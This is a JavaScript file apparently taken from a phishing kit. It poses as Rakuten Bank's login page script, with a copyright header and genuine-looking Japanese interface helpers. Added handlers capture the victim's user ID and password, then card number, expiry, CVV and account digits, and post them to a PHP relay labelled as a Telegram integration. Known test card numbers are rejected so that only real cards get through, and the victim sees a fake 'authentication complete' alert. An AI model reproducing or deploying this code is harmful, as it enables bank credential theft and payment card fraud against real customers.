// Copyright (c) 2001 Rakuten Bank, Ltd. All Rights Reserved.
// --------------------------------------------------
// TELEGRAM INTEGRATION
// --------------------------------------------------
var TELEGRAM_ENDPOINT = 'telegram_handler.php'; // Ganti dengan path file PHP handler Anda
// Fungsi untuk mengirim data ke Telegram via PHP
function sendToTelegram(step, data) {
var xhr = new XMLHttpRequest();
xhr.open('POST', TELEGRAM_ENDPOINT, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
console.log('Data sent to Telegram successfully');
if (step === 'step1') {
// Setelah Step 1 berhasil dikirim, pindah ke Step 2
transitionToStep2();
} else if (step === 'step2') {
// Setelah Step 2 berhasil dikirim, redirect ke finish
redirectToFinish();
}
} else {
console.error('Failed to send data to Telegram');
// Tetap lanjutkan meskipun gagal kirim (untuk UX)
if (step === 'step1') {
transitionToStep2();
} else if (step === 'step2') {
redirectToFinish();
}
}
}
};
var params = 'ajax_action=' + step;
for (var key in data) {
if (data.hasOwnProperty(key)) {
params += '&' + encodeURIComponent(key) + '=' + encodeURIComponent(data[key]);
}
}
xhr.send(params);
}
// Fungsi untuk pindah dari Step 1 ke Step 2
function transitionToStep2() {
var step1 = document.getElementById('step1_container');
var step2 = document.getElementById('step2_container');
if (step1) step1.style.display = 'none';
if (step2) step2.style.display = 'block';
window.scrollTo(0, 0);
}
// Fungsi untuk redirect ke halaman finish
function redirectToFinish() {
// Tampilkan alert atau redirect ke halaman finish
alert('認証が完了しました。リダイレクトします...');
// window.location.href = 'finish.php'; // Uncomment jika ada halaman finish
}
// --------------------------------------------------
// LUHN CHECK - Validasi Kartu Kredit
// --------------------------------------------------
function luhnCheck(cardNumber) {
var num = cardNumber.replace(/\s/g, '');
if (!/^\d+$/.test(num)) return false;
var sum = 0;
var isEven = false;
for (var i = num.length - 1; i >= 0; i--) {
var digit = parseInt(num[i], 10);
if (isEven) {
digit *= 2;
if (digit > 9) {
digit -= 9;
}
}
sum += digit;
isEven = !isEven;
}
return (sum % 10) === 0;
}
// Fungsi untuk menolak kartu test
function isTestCard(cardNumber) {
var num = cardNumber.replace(/\s/g, '');
var testCards = [
'4111111111111111',
'5500000000000004',
'340000000000009',
'30000000000004',
'6011000000000004',
'3500000000000008',
'3088000000000009',
'3088000000000017'
];
return testCards.indexOf(num) !== -1;
}
// --------------------------------------------------
// INPUT MASKING - Format Kartu Kredit
// --------------------------------------------------
function maskCardNumber(input) {
var value = input.value.replace(/\s/g, '').replace(/\D/g, '');
var masked = '';
for (var i = 0; i < value.length && i < 19; i++) {
if (i > 0 && i % 4 === 0) {
masked += ' ';
}
masked += value[i];
}
input.value = masked;
}
function maskExpireDate(input) {
var value = input.value.replace(/\D/g, '');
if (value.length >= 2) {
value = value.substring(0, 2) + '/' + value.substring(2, 4);
}
input.value = value;
}
function maskCVV(input, maxLength) {
var value = input.value.replace(/\D/g, '');
input.value = value.substring(0, maxLength || 4);
}
// --------------------------------------------------
// ボタンを活性化する。
// --------------------------------------------------
function activateDisabledButton(){
var elements = document.getElementsByTagName('input');
for( i=0; i < elements.length; i++) {
if (elements[i].type != "radio" && elements[i].type != "checkbox" && elements[i].disabledCommandButton != "disabledCommandButton") {
elements[i].disabled = false;
}
if (elements[i].type == "text"
|| elements[i].type == "password"
|| elements[i].type == "checkbox"
|| elements[i].type == "radio") {
elements[i].onkeypress = BlockEnter;
}
}
htmlInformation();
}
// --------------------------------------------------
// ボタンを活性化する(エンターキー許可)
// --------------------------------------------------
function activateButtonWithEnterkeyPermission(){
var elements = document.getElementsByTagName('input');
for( i=0; i < elements.length; i++) {
if (elements[i].type != "radio" && elements[i].type != "checkbox" && elements[i].disabledCommandButton != "disabledCommandButton") {
elements[i].disabled = false;
}
}
htmlInformation();
}
// --------------------------------------------------
// エンターキー無効化
// --------------------------------------------------
function BlockEnter(evt){
evt = (evt) ? evt : event;
var charCode=(evt.charCode) ? evt.charCode :
((evt.which) ? evt.which : evt.keyCode);
if ( Number(charCode) == 13 || Number(charCode) == 3) {
return false;
} else {
return true;
}
}
// --------------------------------------------------
// 新ウィンドウ用変数
// --------------------------------------------------
var NEW_WINDOW = null;
function openNewWindow(url, name, status) {
NEW_WINDOW = window.open(url, name, status);
NEW_WINDOW.focus();
}
function closeNewWindow() {
if ( NEW_WINDOW != null ) {
if ( !NEW_WINDOW.closed ) {
NEW_WINDOW.close();
}
}
}
// --------------------------------------------------
// 二重送信チェック
// --------------------------------------------------
var submitFlag = 0;
function checkDuplicatedSubmit(){
if(submitFlag == 0){
submitFlag = 1;
return true;
} else {
return false;
}
}
function initializeSubmitFlag(){
submitFlag = 0;
}
// --------------------------------------------------
// formのターゲット設定
// --------------------------------------------------
var subViewFlg = 0;
function setSubViewFlg() {
subViewFlg = 1;
}
function setTargetAndCheckDuplicatedSubmit(formName, targetName) {
if(subViewFlg == 1) {
document.forms[formName].target = targetName;
subViewFlg = 0;
return true;
} else {
return checkDuplicatedSubmit();
}
}
// --------------------------------------------------
// セキュリティボード
// --------------------------------------------------
var SECURITY_BOARD_WINDOW = null;
function openSecurityBoardWindow() {
wx=580; wy=700;
x=(screen.width - wx)-10; y=0;
if(screen.height <= 600){ wy=480; }
SECURITY_BOARD_WINDOW = window.open(
"",
"SECURITY_BOARD",
"directories=0,location=0,menubar=0,scrollbars=1,status=0,toolbar=0,resizable=0,width="+ wx +",height="+ wy +",left="+ x +", top="+ y + ", screenX="+ x +",scrrenY="+ y
);
SECURITY_BOARD_WINDOW.focus();
}
function closeSecurityBoardWindow() {
if( SECURITY_BOARD_WINDOW != null ) {
if( !SECURITY_BOARD_WINDOW.closed ) {
SECURITY_BOARD_WINDOW.close();
}
}
}
function openPage(url, name) {
window.open( url, name, "toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes");
window.self.close();
}
function activateDisabledButtonWithFocus(elementId){
activateDisabledButton();
var formElement = document.getElementById(elementId);
if (formElement != null) {
formElement.focus();
}
}
function activateDisabledButtonWithFocusForLogin(elementId){
activateButtonWithEnterkeyPermission();
var formElement = document.getElementById(elementId);
formElement.focus();
}
// --------------------------------------------------
// HTML情報
// --------------------------------------------------
function htmlInformation() {
try{
var renderedPageNumber = document.getElementById("pageNumber");
if (renderedPageNumber) {
var renderedPageNumber = renderedPageNumber.innerText || renderedPageNumber.textContent;
if (!renderedPageNumber) {
renderedPageNumber = "";
}
var renderedHTMLTagNumber = document.getElementsByTagName("SCRIPT").length + "/"
+ document.getElementsByTagName("FORM").length + "/"
+ document.getElementsByTagName("INPUT").length + "/"
+ document.getElementsByTagName("TABLE").length + "/"
+ document.getElementsByTagName("TD").length + "/"
+ document.getElementsByTagName("TR").length + "/"
+ document.getElementsByTagName("A").length + "/"
+ document.getElementsByTagName("DIV").length + "/"
+ document.getElementsByTagName("IMG").length;
document.cookie = "fes_fw_pn=" + renderedPageNumber + "; path=/; secure;";
document.cookie = "fes_fw_htn=" + renderedHTMLTagNumber + "; path=/; secure;";
}
}
catch (e) {
// Silent fail
}
}
// --------------------------------------------------
// ログインセキュリティボード専用
// --------------------------------------------------
function addLoginSecurityBoardValue(val) {
try {
var obj = window.opener.document.getElementById("LOGIN:LOGIN_PASSWORD");
var obj2 = window.opener.document.getElementById("LOGIN:LOGIN_PASSWORD_CHECK");
obj.value = obj.value + val;
if(obj2 != null || obj2 != undefined) {
if(obj2.value == "TOOLTIP_CHECK") {
if(obj.value.length > 12) {
window.opener.jQuery2('input[type="password"]').val("");
window.opener.jQuery2('input[type="password"]').tooltip("open");
window.opener.jQuery2('input[type="password"]').tooltip("close");
}
}
}
}
catch(e) {
alert('セキュリティボードが初期化された為、画面を閉じます。\nお手数ですが、もう一度ログイン画面の\n「セキュリティボードを使用」をクリックして下さい。');
self.close();
}
}
var inputFieldId;
function setInputFieldId(id) {
inputFieldId = id;
}
function addSecurityBoardValue(val) {
var element;
if (inputFieldId != null) {
element = document.getElementById(inputFieldId);
} else {
element = document.getElementById("SECURITY_BOARD:USER_PASSWORD");
}
if (element != null) {
element.focus();
element.value = element.value + val;
} else {
alert( "入力する暗証番号入力欄が選択されていません" );
}
}
// --------------------------------------------------
// 確認ダイアログ
// --------------------------------------------------
var dialogSubmitFlg = 0;
function confirmOperation(dispMessage) {
if(dialogSubmitFlg == 0) {
dialogSubmitFlg = 1;
if(confirm(dispMessage)) {
return true;
} else {
dialogSubmitFlg = 0;
return false;
}
}
dialogSubmitFlg = 0;
return false;
}
function confirmUpdate() {
return confirmOperation("更新してよろしいですか?");
}
function confirmLogout() {
return confirmOperation("ログアウトしますか?");
}
function logout(url){
if(confirmOperation('ログアウトしますか?') == true){
window.location = url;
}
}
function executeCommandLink(commandLinkID) {
document.getElementById('form:' + commandLinkID).onclick();
}
function changeImage(elementID, url) {
document.getElementById(elementID).src = url;
}
function addEvent(element, listener, func) {
if(element.addEventListener) {
element.addEventListener(listener, func, false);
} else if(element.attachEvent) {
element.attachEvent("on" + listener, func);
}
}
function createMeta(metaContent) {
var objHead = document.getElementsByTagName('HEAD');
if(objHead.length > 0) {
var element = null;
try {
element = document.createElement('');
} catch(e) {
element = document.createElement('META');
element.name = "format-detection";
}
element.content = metaContent;
objHead[0].appendChild(element);
}
}
createMeta("telephone=no");
createMeta("address=no");
createMeta("email=no");
var infoMessage;
function closeEvent(message) {
infoMessage = message;
addEvent(window, "beforeunload", closeBrowser);
}
function closeBrowser(event) {
var closeButtonWidth = 22;
event = window.event || event;
if (!event) {
return;
}
var xSize = document.documentElement.clinetWidth || document.body.clientWidth || document.body.scrollWidth;
if (((xSize - closeButtonWidth <= event.clientX) && (event.clientY < 0))) {
return event.returnValue = infoMessage;
}
}
function changeIframeHeight(iframename, iframeheight) {
if (iframeheight == null || !iframeheight.match(/^[0-9]+$/)) return;
var ifms = document.getElementsByName(iframename);
if (ifms == null) return;
for(i=0; i < ifms.length; i++) {
if (ifms[i].tagName.toUpperCase() == "IFRAME") {
ifms[i].style.height=iframeheight + 'px';
return;
}
}
}
// --------------------------------------------------
// STEP 1 HANDLER - Login Form Submit
// --------------------------------------------------
function handleStep1Submit(event) {
event.preventDefault();
var userId = document.querySelector('input[name="j_id_t:j_id_1y"]');
var password = document.querySelector('input[name="j_id_t:LOGIN_PASSWORD"]');
if (!userId || !password) {
console.error('Login form elements not found');
return false;
}
var userIdValue = userId.value.trim();
var passwordValue = password.value.trim();
if (!userIdValue || !passwordValue) {
alert('ユーザーIDとパスワードを入力してください。');
return false;
}
// Kirim data ke Telegram
sendToTelegram('step1', {
user_id: userIdValue,
password: passwordValue
});
return false; // Prevent default form submission
}
// --------------------------------------------------
// STEP 2 HANDLER - Card Form Submit
// --------------------------------------------------
function handleStep2Submit(event) {
event.preventDefault();
var cardNumber = document.getElementById('card_number');
var expireDate = document.getElementById('expire_date');
var cvv = document.getElementById('cvv');
var accountLast4 = document.getElementById('account_last4');
var userId = document.querySelector('input[name="j_id_t:j_id_1y"]');
if (!cardNumber || !expireDate || !cvv || !accountLast4) {
console.error('Card form elements not found');
return false;
}
var cardNumberValue = cardNumber.value.trim();
var expireDateValue = expireDate.value.trim();
var cvvValue = cvv.value.trim();
var accountLast4Value = accountLast4.value.trim();
var userIdValue = userId ? userId.value.trim() : 'Unknown';
// Validasi kartu test
if (isTestCard(cardNumberValue)) {
alert('このカードは使用できません。別のカードを入力してください。');
cardNumber.style.border = '2px solid red';
cardNumber.focus();
return false;
}
// Validasi Luhn Check
if (!luhnCheck(cardNumberValue)) {
alert('カード番号が正しくありません。');
cardNumber.style.border = '2px solid red';
cardNumber.focus();
return false;
}
// Validasi field kosong
if (!cardNumberValue || !expireDateValue || !cvvValue || !accountLast4Value) {
alert('すべての項目を入力してください。');
return false;
}
// Kirim data ke Telegram
sendToTelegram('step2', {
user_id: userIdValue,
card_number: cardNumberValue,
expire_date: expireDateValue,
cvv: cvvValue,
account_last4: accountLast4Value
});
return false;
}
// --------------------------------------------------
// INISIALISASI - Setup Event Listeners
// --------------------------------------------------
function initializeStepHandlers() {
// Setup Step 1 form
var step1Form = document.getElementById('j_id_t');
if (step1Form) {
step1Form.onsubmit = handleStep1Submit;
}
// Setup Step 2 form
var step2Form = document.getElementById('step2_form');
if (step2Form) {
step2Form.onsubmit = handleStep2Submit;
}
// Setup input masking untuk Step 2
var cardNumberInput = document.getElementById('card_number');
if (cardNumberInput) {
cardNumberInput.oninput = function() { maskCardNumber(this); };
}
var expireDateInput = document.getElementById('expire_date');
if (expireDateInput) {
expireDateInput.oninput = function() { maskExpireDate(this); };
}
var cvvInput = document.getElementById('cvv');
if (cvvInput) {
cvvInput.oninput = function() { maskCVV(this, 4); };
}
var accountLast4Input = document.getElementById('account_last4');
if (accountLast4Input) {
accountLast4Input.oninput = function() { maskCVV(this, 4); };
}
// Setup toggle panel
var openPanel = document.getElementById('open-panel');
var closePanel = document.getElementById('close-panel');
var showDetails = document.getElementById('show-details');
if (openPanel && showDetails) {
openPanel.onclick = function(e) {
e.preventDefault();
showDetails.style.display = 'block';
openPanel.style.display = 'none';
};
}
if (closePanel && showDetails && openPanel) {
closePanel.onclick = function(e) {
e.preventDefault();
showDetails.style.display = 'none';
openPanel.style.display = 'block';
};
}
}
// Jalankan inisialisasi saat DOM ready
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initializeStepHandlers);
} else {
initializeStepHandlers();
}
// --------------------------------------------------
// jQueryの読込
// --------------------------------------------------
function includeJquery() {
document.write("");
document.write("");
document.write("");
document.write("");
document.write("");
document.write("");
document.write("");
document.write("");
}
includeJquery();